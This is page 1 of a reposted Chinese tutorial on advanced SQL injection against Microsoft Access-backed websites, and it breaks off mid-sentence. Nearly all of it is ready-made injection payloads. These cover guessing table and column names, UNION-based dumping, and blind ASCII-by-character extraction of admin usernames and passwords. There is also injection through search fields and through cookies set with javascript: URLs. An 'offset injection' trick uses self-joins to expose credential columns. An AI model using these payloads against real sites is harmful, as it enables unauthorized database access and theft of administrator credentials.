当前位置:K88软件开发文章中心电脑基础基础应用01 → 文章内容

Access数据库注入技术高级玩法

减小字体 增大字体 作者:佚名  来源:翔宇亭IT乐园  发布时间:2018-12-31 12:30:49

:2010-01-24 20:31:00

详细介绍Access数据库注入技术高级玩法:

  一,基础篇

  猜解表名,这里借用啊D的语句:

  and exists (select * from 表名)

  猜解列名:

  and exists (select 字段 from 表名)

  UNION法,在执行union之前建议进行下order by这样会更快。

  联合查询:

  select name,password,id from user union select user,pwd,uid from

  如果遇到order by 错误提示,执行下2次union可解决

  and 1=2 union select 1,2,3,4,5 from 表名 union select 1,2,3,4,5 from 表名

  爆指定表名内容:

  and 1=2 union select 1,2,3,4,5 from 表名

  ASCII逐字解码法:

  1、猜解列长度

  猜解语句:

  and (select top 1 len(列名)from 表名)>N

  and (select top 1 len(列名)from 表名)=N

  其中N是数字,变换这个N的值猜解列长度,例如:

  and (select top 1 len(列名)from 表名)>1

  and (select top 1 len(列名)from 表名)>6

  如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:

  select top 1 len(列名) from 表名

  where 列名 not in (select top 1 列名 from 表名)

  2、ASCII码分析法猜解用户和密码

  ASC()函数和Mid函数

  例如:mid(列名,N,1)

  ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码

  猜解语句为:

  and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)

  区间判断语句:

  “......between......and......”

  中文处理法:

  当ASCII转换后为“负数”使用abs()函数取绝对值。

  例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)

  ASCII逐字解码法的应用:

  1、猜解表名:

  and (select count(*) from admin)<>0

  2、猜解列名:

  and (select count(列名) from 表名)<>0

  3、猜解管理员用户个数:

  and (select count(*) from 表名)=1

  返回正常,表中有一条记录。

  4、猜解管理员用户名的长度:

  and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

  5、猜解管理员用户名:

  and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

  最后提交:

  and (select asc(mid(列名,1,1)) from 表名)=ascii的值

  6、猜解管理员的密码:

  按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。

  搜索型注入漏洞利用猜解语句:

  关键字%' and 1=1 and '%'='%

  关键字%' and 1=2 and '%'='%

  将and 1=1 换成注入语句就可以了。

  cookie注入语句:

  java script:alert(document.cookie="id="+escape("44 and 1=1"));

  java script:alert(document.cookie="id="+escape("44 and 1=2"));

  猜解语句:

  猜解长度:

  java script:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))

  猜解内容:

  java script:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))

:2010-01-24 20:31:00

  二,高级篇

  1,Access的偏移注入条件,知道一表名,一字段,一般来说ID字段还是有的。假如你知道order by 出的列数是20,那么,要知道admin表里的字段数,可以这样,and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出错,继续,and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常这里要说下盲注,假如and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin返回正常,此时可能会爆出admin表的字段,取决于admin表的复杂程度和RP假如到15时返回正常,说明admin的字段数为20-15=5个,下面来自联,自联还有一个重要的条件就是admin的字段数*2 < order by 出的列数,可以看出自联的条件很严geunion select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

  以id为条件,将admin表的字段数加倍,这个(admin as a inner join admin as b on a.id=b.id)是

  admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面10+2*5 = 20 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

  如果不在怎么办? 那么

  union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

  大家是否觉得很疑惑 10+ 2 + 5*2 = 22 > 20 但这条语句是合法的这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 22 后边是 20怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的 保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。

  如果还没成功 怎么办?

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as

  b on a.id=b.id) inner join admin as c on a.id=c.id)

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as a inner join

  admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on

  a.id=d.id)

2,having语句,group by 语句

  在Access数据库里,也支持having 和 group by 语句,众所周知,这2个语句我们常用来枚举字段名的,在Mssql数据库中很好使。在acc中就有些别扭了。这里分情况讨论,a:如果站点的Sql查询语句为 select id,name,address from 表名,也就是说查询的是特定的字段数据,那么我们可以这么暴, productshow.asp?id=25 group by 1 having 1=1(数字型),如果字符型就 ' group by 1 having '1'='1'

  返回的错误:

  Microsoft JET D

[1] [2]  下一页


Access数据库注入技术高级玩法